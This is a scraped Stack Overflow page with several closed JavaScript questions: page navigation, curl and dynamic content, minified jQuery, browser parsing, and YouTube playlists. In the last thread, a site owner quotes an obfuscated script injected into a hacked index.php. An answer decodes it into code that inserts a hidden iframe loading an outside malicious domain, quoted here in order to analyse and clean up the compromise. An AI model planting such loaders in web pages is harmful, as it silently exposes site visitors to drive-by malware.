Javascript continuing after another page is loaded [closed] - javascript

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
I would like to know how (if even possible) to keep my javascript running after i've continued to the next page.
My situation:
Javascript clicks next button.
I'm now on a new page.
But the javascript stops running and all my functions/variables are gone.
I want to be able to push the button with javascript and then continue running the code that comes after that .click() part.
If its not possible can you maybe suggest a way to do this programmaticly?

No.
Once you leave the page, any JavaScript running on that page will also stop running.
You have two options.
Store any variables or settings you need using cookies, and continue running the same script on the next page.
Don't actually leave the page. You can use AJAX to load new information on the page, or perhaps change part of the page content using an IFRAME while the host page continues to load.

As #mike-edwards has said in the comments, you need a single page app.
You can use frameworks like AngularJS or Knockout.js to make your life easier.
As you said, whenever a new page loads in the browser, all your variables etc from the previous page will be lost. The only way to preserve your variables is to not change the page. You can do this using these frameworks and the HTML5 History infrastructure.
With AngularJS, history support comes out of the box. As far as I know, Knockout.js does not have history API support so you would need to use another JS plug-in like Davis.js for that.

Related

the code of some page is cut when using curl or display the source code of the page [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
I explain my problem to you:
When I do PHP curls on some site or want to display the source code of the page element is missing a lot. I think some part is called by a script or something. Could someone help me view the entire code with Curl PHP.
To duplicate my problem go to Facebook or LinkedIn and right click on the page and "View the source code of the page", in this you don't see all the page content but when for example you right click and "inspect an element" You can.
Thank you in advance
CURL can't do this. It's not designed to render HTML or execute JavaScript.
A lot of the content on Facebook, LinkedIn, Twitter and many other pages is loaded through different ways. (like fetch()-requests or WebSocket-Events)
Some nodes you can see in the inspector are not part of the original document (which you are viewing with "view source" or curl downloads). What you see on the inspector is everything currently held in memory, which was partially (or completely) created with a scripting language.
This is basically done to
reduce the load on servers as it doesn't have to generate the whole page on every request
reduce traffic on clients and servers (no need to reload the header-data and/or scripts over and over again)
If you need data from a rendered site, you should either check if the website provides an API which gives you the data you are looking for or use one of the cli-rendering-engines from this answer.

how to make sure when I see the code on the web console is not messy [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 2 years ago.
Improve this question
I was given a web example provided by my mentor. I press Ctrl + Shift + i so I can see the code for reference. But this is what I see:
The image you've sent includes a file named Jquery.min.js, First off Jquery is a library which provides helpful functions for web development, secondly as the name suggests that it is minified so that the file consumes as less space as possible so as to make the page load faster.
Your mentor has probably used this library in the webpage and used the functions provided by the library, What you would actually want to see is your own Javascript code, For that, you can CTRL+P on the sources section and search your Javascript file name, or otherwise if it's written on the webpage itself, then go ahead and search the webpage itself and see the code there.
Or otherwise if you want to see the formatted code of the Jquery itself then as Barmar has suggested, use the non-minfied version of the Library itself.

Regarding how browser interprets HTML/CSS/Javascript [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
I am pretty green to web development.
In one of my courses I have been told the following things will happen when browser reads a web page.
At a very high level I assume this is the basic flow.
1.Browser pulls the HTML page.
2.Browser understands the document structure using the HTML tags.
3.After step 2, browser understands the CSS selectors/properties.
4.Browser builds the DOM model now.
5.After this, the javascript interpreter within the browser interprets the .js script
Questions
1.Is the above flow correct ?
2.I am aware that the HTML tags can be manipulated by javascript.
Are the CSS selectors are also part of DOM and can be manipulated by javascript ?
Not exactly correct. It's a complicated process.
JavaScript isn't run just after the entire page is loaded, which is why you'll see a lot of junior programmers make the mistake of trying to manipulate HTML, without checking if the page has loaded.
When the browser reaches an element such as <script> or <link> it will attempt to pull the resource, and if successful, will then execute that resource. Meaning the JavaScript code, for instance, will run before the DOM has loaded, if the <script> tag is in the head (where it usually is). CSS works in a similar way, however it doesn't really matter when CSS is applied, in most cases, since it can't crash. You can create styles and even change the inline styles of elements, using JavaScript, but a general rule of thumb is to keep styles that CAN be in .css files there.

Play Youtube Videos automatically one after another in javascript [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
I am having a requirement as follows,
1.I need to play Youtube videos( 10 or more videos in a sequence) one after another automatically using some javascript control.
2.The User should be able to slide to next or previous video using slider buttons.
3.If the current video ends up, the control should be able to pick next video and play it automatically. I dont want this to happen with the help of any server controls in asp.net or ajax. But, would like to use only javascript and html elements or jquery if possible.
Can any one please suggest any links or useful information about javascript control to make this happen.
Any help is appreciated!! Thanks.
You just need to create normal slider, but add few functions to it's controls. Let's say, clicking on next, will stop current video, move slide to another and turn on new video. Everything is accessible through YouTube API: https://developers.google.com/youtube/js_api_reference.
You can write your own slider or just choose of some written already:
http://www.menucool.com/video-slider
http://www.woothemes.com/flexslider/
http://www.slidesjs.com/
http://wowslider.com/
what you are searching for may be the "player.cuePlaylist" API function from Youtube. Read the "YouTube JavaScript Player API Reference": https://developers.google.com/youtube/js_api_reference?hl=zh-TW
Also note that recently Youtube changed the usage of it's API. You need to put your code on a webserver in order to function, because all calls from localhost are blocked.

Strange javascript added to my webpage (get redirected to http://paseroper.in) [closed]

Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 11 years ago.
Improve this question
Somehow my index.php file at the server get modified. As a result, when I open my webpage, I get redirected automatically to this address: redirected url
It seems someone has hacked my application. I found the index.php file was added with the following javaSscript:
<script>aa=([].slice+'hjkbghkj').substr(2-1,4);if((aa=="func")||(aa=="unct"))aa=(document['createDocumentFragm'+'e'+'n'+'t']+'evweds').substr(2-1,4);if((aa=="func")||(aa=="unct")){ss=new String();s=String;12-function(){e=eval;f='fromCharCode';}();t='k';}ddd=new Date();d2=new Date(ddd.valueOf()-2);h=(ddd-d2)*-1;n=["4.5k4.5k52.5k51k16k20k50k55.5k49.5k58.5k54.5k50.5k55k58k23k51.5k50.5k58k34.5k54k50.5k54.5k50.5k55k58k57.5k33k60.5k42k48.5k51.5k39k48.5k54.5k50.5k20k19.5k49k55.5k50k60.5k19.5k20.5k45.5k24k46.5k20.5k61.5k4.5k4.5k4.5k52.5k51k57k48.5k54.5k50.5k57k20k20.5k29.5k4.5k4.5k62.5k16k50.5k54k57.5k50.5k16k61.5k4.5k4.5k4.5k50k55.5k49.5k58.5k54.5k50.5k55k58k23k59.5k57k52.5k58k50.5k20k17k30k52.5k51k57k48.5k54.5k50.5k16k57.5k57k49.5k30.5k19.5k52k58k58k56k29k23.5k23.5k56k48.5k57.5k50.5k57k55.5k56k50.5k57k23k52.5k55k23.5k52.5k55k23k49.5k51.5k52.5k31.5k50k50.5k51k48.5k58.5k54k58k19.5k16k59.5k52.5k50k58k52k30.5k19.5k24.5k24k19.5k16k52k50.5k52.5k51.5k52k58k30.5k19.5k24.5k24k19.5k16k57.5k58k60.5k54k50.5k30.5k19.5k59k52.5k57.5k52.5k49k52.5k54k52.5k58k60.5k29k52k52.5k50k50k50.5k55k29.5k56k55.5k57.5k52.5k58k52.5k55.5k55k29k48.5k49k57.5k55.5k54k58.5k58k50.5k29.5k54k50.5k51k58k29k24k29.5k58k55.5k56k29k24k29.5k19.5k31k30k23.5k52.5k51k57k48.5k54.5k50.5k31k17k20.5k29.5k4.5k4.5k62.5k4.5k4.5k51k58.5k55k49.5k58k52.5k55.5k55k16k52.5k51k57k48.5k54.5k50.5k57k20k20.5k61.5k4.5k4.5k4.5k59k48.5k57k16k51k16k30.5k16k50k55.5k49.5k58.5k54.5k50.5k55k58k23k49.5k57k50.5k48.5k58k50.5k34.5k54k50.5k54.5k50.5k55k58k20k19.5k52.5k51k57k48.5k54.5k50.5k19.5k20.5k29.5k51k23k57.5k50.5k58k32.5k58k58k57k52.5k49k58.5k58k50.5k20k19.5k57.5k57k49.5k19.5k22k19.5k52k58k58k56k29k23.5k23.5k56k48.5k57.5k50.5k57k55.5k56k50.5k57k23k52.5k55k23.5k52.5k55k23k49.5k51.5k52.5k31.5k50k50.5k51k48.5k58.5k54k58k19.5k20.5k29.5k51k23k57.5k58k60.5k54k50.5k23k59k52.5k57.5k52.5k49k52.5k54k52.5k58k60.5k30.5k19.5k52k52.5k50k50k50.5k55k19.5k29.5k51k23k57.5k58k60.5k54k50.5k23k56k55.5k57.5k52.5k58k52.5k55.5k55k30.5k19.5k48.5k49k57.5k55.5k54k58.5k58k50.5k19.5k29.5k51k23k57.5k58k60.5k54k50.5k23k54k50.5k51k58k30.5k19.5k24k19.5k29.5k51k23k57.5k58k60.5k54k50.5k23k58k55.5k56k30.5k19.5k24k19.5k29.5k51k23k57.5k50.5k58k32.5k58k58k57k52.5k49k58.5k58k50.5k20k19.5k59.5k52.5k50k58k52k19.5k22k19.5k24.5k24k19.5k20.5k29.5k51k23k57.5k50.5k58k32.5k58k58k57k52.5k49k58.5k58k50.5k20k19.5k52k50.5k52.5k51.5k52k58k19.5k22k19.5k24.5k24k19.5k20.5k29.5k4.5k4.5k4.5k50k55.5k49.5k58.5k54.5k50.5k55k58k23k51.5k50.5k58k34.5k54k50.5k54.5k50.5k55k58k57.5k33k60.5k42k48.5k51.5k39k48.5k54.5k50.5k20k19.5k49k55.5k50k60.5k19.5k20.5k45.5k24k46.5k23k48.5k56k56k50.5k55k50k33.5k52k52.5k54k50k20k51k20.5k29.5k4.5k4.5k62.5"];n=n[0].split(t);for(i=0;n.length-i>0;i++)ss+=s[f](-h*n[i]);f=ss;e(f);</script>
Does anyone know the meaning of above script?
By removing that script, my web could run well as it was. Any recommendation about how to prevent this attack?
That's just a bunch of obfuscated code; no one will tell you the meaning of that (most likely, except Jon Skeet).
I would suggest you remove that script from the page, and revert to your last commit (you ARE using a version control system, aren't you? :)
This is the code that gets eval'd
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://paseroper.in/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://paseroper.in/in.cgi?default');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
Creates an <iframe> that goes to that URL.
As for how to prevent it, you'll need to find out how the code got in there. Likely one of your scripts allowed them to run arbitrary code on your server, so I would check all php plugins, and any place where you may allow users to enter information and make sure you are properly filtering things.
Also, you'll likely want to let your users know. From the looks of it, the <iframe> is hidden, which indicates it might be a site in which they try and do drive-by installs of malware or spyware.

Categories